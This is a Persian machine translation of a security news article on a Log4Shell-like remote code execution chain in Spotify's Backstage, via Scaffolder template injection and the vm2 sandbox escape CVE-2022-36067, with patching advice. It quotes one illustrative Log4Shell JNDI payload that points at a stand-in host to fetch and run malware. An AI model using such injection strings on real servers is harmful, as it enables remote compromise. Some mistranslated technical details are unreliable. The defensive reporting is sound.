حفره اجرای کد Log4Shell مانند در ابزار محبوب Backstage توسعه دهنده PlatoBlockchain Data Intelligence. جستجوی عمودی Ai.

سوراخ اجرای کد Log4Shell مانند در ابزار محبوب توسعه دهنده Backstage

محققان شرکت امنیت کدگذاری ابری Oxeye یک باگ مهم را نوشته اند که اخیراً در ابزار محبوب توسعه ابری Backstage کشف کرده اند.

شان گزارش شامل توضیحی در مورد نحوه عملکرد اشکال، به علاوه کد اثبات مفهوم (PoC) که نحوه بهره برداری از آن را نشان می دهد.

Backstage چیزی است که به عنوان یک پورتال توسعه‌دهنده ابری شناخته می‌شود – نوعی پشتیبان منطق کسب‌وکار که ساخت APIهای مبتنی بر وب (رابط برنامه‌نویسی برنامه) را آسان می‌کند تا به کدنویس‌ها در داخل و خارج از کسب و کار شما اجازه دهد تا با خدمات آنلاین شما تعامل داشته باشند.

به قول خود پروژه، ابتدا در Spotify ایجاد شد اما اکنون بازاریابی در GutHub:

Backstage یک پلت فرم باز برای ساخت پورتال توسعه دهندگان است. Backstage با پشتیبانی از یک کاتالوگ نرم‌افزار متمرکز، نظم را به میکروسرویس‌ها و زیرساخت‌های شما باز می‌گرداند و تیم‌های محصول شما را قادر می‌سازد تا کدهای باکیفیت را به سرعت ارسال کنند - بدون به خطر انداختن استقلال.

Backstage تمام ابزارها، خدمات و اسناد زیرساخت شما را برای ایجاد یک محیط توسعه کارآمد از انتها به انتها یکپارچه می کند.

نه، ما واقعاً معنی آن را هم نمی دانیم، اما می دانیم که جعبه ابزار با جاوا اسکریپت نوشته شده است و با استفاده از سیستم جاوا اسکریپت سمت سرور اجرا می شود. node.js، و شبکه ای از وابستگی های زنجیره تامین را از اکوسیستم NPM ترسیم می کند.

NPM کوتاه شده است Node Package Managerیک جعبه ابزار خودکار برای اطمینان از اینکه کد جاوا اسکریپت پشتیبان شما می تواند به راحتی از طیف گسترده ای از کتابخانه های منبع باز استفاده کند که ابزارهای کمکی محبوب و از پیش نوشته شده را برای همه چیز از رمزنگاری و مدیریت پایگاه داده گرفته تا ثبت و کنترل نسخه ارائه می کنند.

اجرای کد از راه دور

متأسفانه، باگ فاش شده امروز، اگر اصلاح نشود، می‌تواند به افراد خارجی احراز هویت نشده (به طور کلی، هر کسی که می‌تواند اتصالات API را به سرورهای شما برقرار کند) راهی برای راه‌اندازی اجرای کد از راه دور (RCE) در سرورهای منطق تجاری در شبکه شما بدهد.

با این حال، خوشبختانه، اگر نوشته Oxeye را به درستی تفسیر کرده باشیم، حمله ای که آنها برای Backstage RCE خود توصیف می کنند، به دنباله ای از نقص های کدگذاری بستگی دارد که در نهایت به یک باگ خاص بستگی دارد. CVE-2022-36067 در یک جزء زنجیره تامین که Backstage به نام vm2 متکی است.

اگر تعجب می‌کنید، vm2 یک ماژول NPM همه منظوره است که یک جعبه ایمنی ماشین مجازی را پیاده‌سازی می‌کند که قصد دارد جاوا اسکریپت بالقوه مخاطره‌آمیز را برای اجرای روی سرورهای شما کمی ایمن‌تر کند.

آن باگ CVE-2022-36067 در vm2 بود گزارش در آگوست 2022 توسط خود Oxeye (که نام مناسب روابط عمومی "Sandbreak" را به آن داد، زیرا از جعبه شنی خارج شد) و به سرعت وصله شد تقریباً سه ماه پیش توسط تیم vm2.

بنابراین، تا آنجا که می‌توانیم ببینیم، اگر کاربر Backstage هستید، باید مطمئن شوید که تمام اجزای در معرض خطر را در تنظیمات Backstage خود وصله کرده‌اید…

اما اگر کامپوننت vm2 را که در تمام آن ماه‌ها قبل در برابر Sandbreak آسیب‌پذیر بود وصله کردید، به نظر می‌رسد که مستقیماً در برابر سوء استفاده توصیف‌شده در آخرین افشای Oxeye آسیب‌پذیر نیستید.

همچنین، اگر سرورهای Backstage شما به‌گونه‌ای پیکربندی شده باشند که دستورالعمل‌های امنیت سایبری خوبی نشان می‌دهند، با احراز هویت مورد نیاز هم در لبه شبکه و هم در داخل شبکه، در معرض خطر کاوش‌های تصادفی «فقط برای اهداف محقق» از سوی افراد «مفید» قرار نخواهید داشت. برای نشان دادن اینکه آنها به "تحقیقات" تهدیدات سایبری علاقه مند هستند.

حمله "پنیر امانتال".

به بیان ساده، مشکلات امنیتی که به تازگی فاش شده اند، عواقب جانبی یک سری مسائل امنیتی هستند، مانند سوراخ هایی در برش های پنیر امانتال که اگر مهاجم بتواند حداقل یک سوراخ را در هر برش ردیف کند، می تواند به ترتیب نفوذ کند.

همانطور که می‌دانیم، Backstage شامل یک مؤلفه به نام Scaffolder است، که همانطور که از نام آن پیداست، به شما کمک می‌کند تا افزونه‌های مختلف (معروف به افزونه‌ها) را که جامعه توسعه‌دهنده شما ممکن است بخواهد یا نیاز داشته باشد، مدیریت کنید.

Scaffolder به نوبه خود از یک سیستم ثبت پیام از موزیلا به نام Nunjucks استفاده می کند که شامل مواردی است که به عنوان شناخته می شود. قالب رشته in node.js حلقه ها، به عنوان درون یابی رشته ای در دنیای جاوا و به عنوان جایگزینی رشته به sysadmin هایی که از پوسته های فرمان مانند Bash استفاده می کنند.

اگر درون یابی رشته زنگی را به صدا درآورد، احتمالاً به این دلیل است که در قلب آن قرار دارد Log4Shell آسیب پذیری در دسامبر 2021 و از فولینا اشکال در اواسط سال 2022.

اینجا جایی است که می‌توانید محتوای یک پیام ثبت‌نام را بر اساس «کاراکترهای کدگذاری» ویژه در یک الگوی رشته بازنویسی کنید، به طوری که رشته‌ای مانند $USER ممکن است با نام حساب استفاده شده توسط سرور جایگزین شود، یا ${PID} ممکن است شناسه فرآیند فعلی را بازیابی کند.

در مورد شدید Log4Shell، افسون کنجکاو به نظر می رسد ${jndi:ldap://example.com:8888/malware} می تواند مستقیماً سرور را فریب دهد تا برنامه ای به نام دانلود کند malware از جانب example.com و بی صدا آن را در پس زمینه اجرا کنید.

به عبارت دیگر، شما باید کاملاً مطمئن شوید که داده‌های دریافتی از یک منبع نامعتبر، مانند یک کاربر خارجی، هرگز کورکورانه به یک الگوی رشته یا تابع درون یابی رشته ارسال نمی‌شود تا مورد استفاده قرار گیرد. به عنوان خود متن الگو.

برای مثال، اگر یک کاربر راه دور سعی کند سرور شما را با نام کاربری خود فریب دهد ${{RISKY}} (با فرض استفاده از کتابخانه الگو ${{...}} به عنوان نشانگر ویژه آن)، باید مطمئن شوید که کد ورود به سیستم شما به درستی آن متن شیطنت آمیز را به معنای واقعی کلمه همانطور که دریافت کرده است، ضبط می کند…

به جای اینکه به متنی که ثبت می شود اجازه دهید تا کنترل خود را بر روی عملکرد ورود به سیستم بگیرد!

به قول یک قافیه قدیمی مهد کودک، باید مطمئن شوید که در نهایت نخوانید: «یک سوراخ در من وجود دارد. ${{BUCKET}}لیزای عزیز، لیزای عزیز، سوراخی در من وجود دارد ${{BUCKET}}لیزا عزیز یک سوراخ!»

در یک پتوی ایمنی پیچیده شده است

اگر بخواهیم منصف باشیم، شاید عملکرد قالب/الحاق بسیار قدرتمند Nunjucks توسط Backstage در یکی دیگر از اجزای زنجیره تامین، یعنی سیستم sandboxing فوق الذکر vm2 قرار گرفته است، که قرار است خطری را که یک کاربر مخرب می تواند با بمب گذاری انجام دهد محدود کند. داده های ورودی به دام افتاده

متأسفانه، محققان Oxeye توانستند مسیرهای راه‌اندازی کد الگوی رشته‌ای تازه کشف شده خود را در Backstage + Scaffolder + Nunjucks با آسیب‌پذیری قدیمی‌تر CVE-2022-36067 در پوشش امنیتی vm2 جفت کنند تا به اجرای کد از راه دور بالقوه در سرور Backstage دست یابند. .

چه کاری انجام دهید؟

اگر کاربر Backstage هستید:

  • مطمئن شوید که آخرین نسخه‌های Backstage و وابستگی‌های آن را دارید، از جمله plugin-scaffolder-backend جزء. به گفته Oxeye، باگ‌های مربوطه در کد Backstage تا 01 سپتامبر 2022 وصله شدند، به طوری که هر نقطه رسمی پس از آن داده‌ها باید شامل اصلاحات باشد. در زمان نوشتن [2022-11-1T16:00Z]، که شامل Backstage نیز می شود 1.6.0, 1.7.0 و 1.8.0، به ترتیب در 2022-09-21، 2022-10-18 و 2022-11-15 منتشر شد.
  • بررسی کنید که نصب Backstage شما همانگونه که انتظار دارید، احراز هویت پیکربندی شده باشد. Oxeye ادعا می کند که احراز هویت به طور پیش فرض خاموش است و پس از دنبال کردن دستورالعمل های پشت صحنه، سرورهای پشتیبان (که احتمالاً به هر حال قرار نیست به صورت خارجی در معرض دید قرار گیرند) همچنان اجازه دسترسی غیرقانونی را دارند. ممکن است این همان چیزی باشد که شما می خواهید، اما توصیه می کنیم از این موضوع به عنوان دلیلی برای بررسی اینکه تنظیمات شما با اهداف شما مطابقت دارد استفاده کنید.
  • بررسی کنید که به کدام بخش از زیرساخت های Backstage می توان از اینترنت دسترسی پیدا کرد. یک بار دیگر، اگر اخیراً این کار را نکرده اید، از این موضوع به عنوان دلیلی برای اسکن شبکه خود از بیرون استفاده کنید.

اگر کاربر node.js/NPM هستید:

  • مطمئن شوید که آخرین نسخه مولفه vm2 sandbox را دارید. ممکن است این مورد را به عنوان وابستگی به نرم افزار دیگری که استفاده می کنید نصب کرده باشید، حتی اگر Backstage ندارید. آسیب‌پذیری CVE-2022-36067 در تاریخ 2022/08/28 وصله شد، بنابراین شما نسخه vm2 را می‌خواهید 3.9.11 و یا بعد.

اگر برنامه نویس هستید:

  • هنگام فراخوانی توابع ثبت گزارش قدرتمند تا می توانید دفاعی باشید. اگر شما یک سرویس ورود به سیستم (شامل Nunjucks یا Log4J) هستید که شامل ویژگی‌های قالب‌بندی/ درون‌یابی قدرتمند است، هر ویژگی را که نیاز ندارید خاموش کنید تا به اشتباه مورد سوء استفاده قرار نگیرد. اطمینان حاصل کنید که از ورودی نامعتبر هرگز به عنوان یک الگو استفاده نمی شود، بنابراین مهاجمان از ارسال رشته های ورودی مستقیم خطرناک خود جلوگیری می کنند.
  • صرف نظر از هرگونه اقدام احتیاطی دیگر، ورودی ها و خروجی های ورود به سیستم خود را ضد عفونی کنید. به یاد داشته باشید که شخص دیگری در آینده باید فایل های لاگ شما را باز کند. اجازه ندهید تله‌های انفجاری غیرعمدی در فایل لاگ شما نوشته شوند، جایی که ممکن است بعداً مشکل ایجاد کنند، مانند قطعات HTML با برچسب‌های اسکریپت باقی مانده است. (شاید شخصی به اشتباه فایل را در مرورگر باز کند.)

حتی زمانی که ورودی را از یک منبع قابل اعتماد دریافت می‌کنید، به ندرت دلیلی وجود دارد که قبل از استفاده از آن، آن را از طریق بررسی‌های ضدعفونی‌سازی خود ندهید.

(ممکن است گاهی اوقات یک استثنا را توجیه کنید، برای مثال به دلایل عملکرد، اما باید یک استثنا باشد، نه یک قاعده.)

اولاً، بررسی مجدد به شما کمک می کند تا خطاهایی را که کدنویسان قبلی با حسن نیت مرتکب شده اند، شناسایی کنید. ثانیاً، اگر بخشی دیگر از اکوسیستم شما به خطر بیفتد، به محدود کردن انتشار داده های بد یا به دام افتاده کمک می کند.

نکته‌ای که در مورد آن برش‌های پنیر امانتال که قبلاً به آن اشاره کردیم این است که اگرچه اگر حداقل یک سوراخ روی هر ورقه باشد نفوذپذیر هستند…

... اگر حداقل یک صفحه با سوراخ هایی وجود داشته باشد که اصلا روی هم قرار نگیرند، نفوذناپذیر هستند!


تمبر زمان:

بیشتر از امنیت برهنه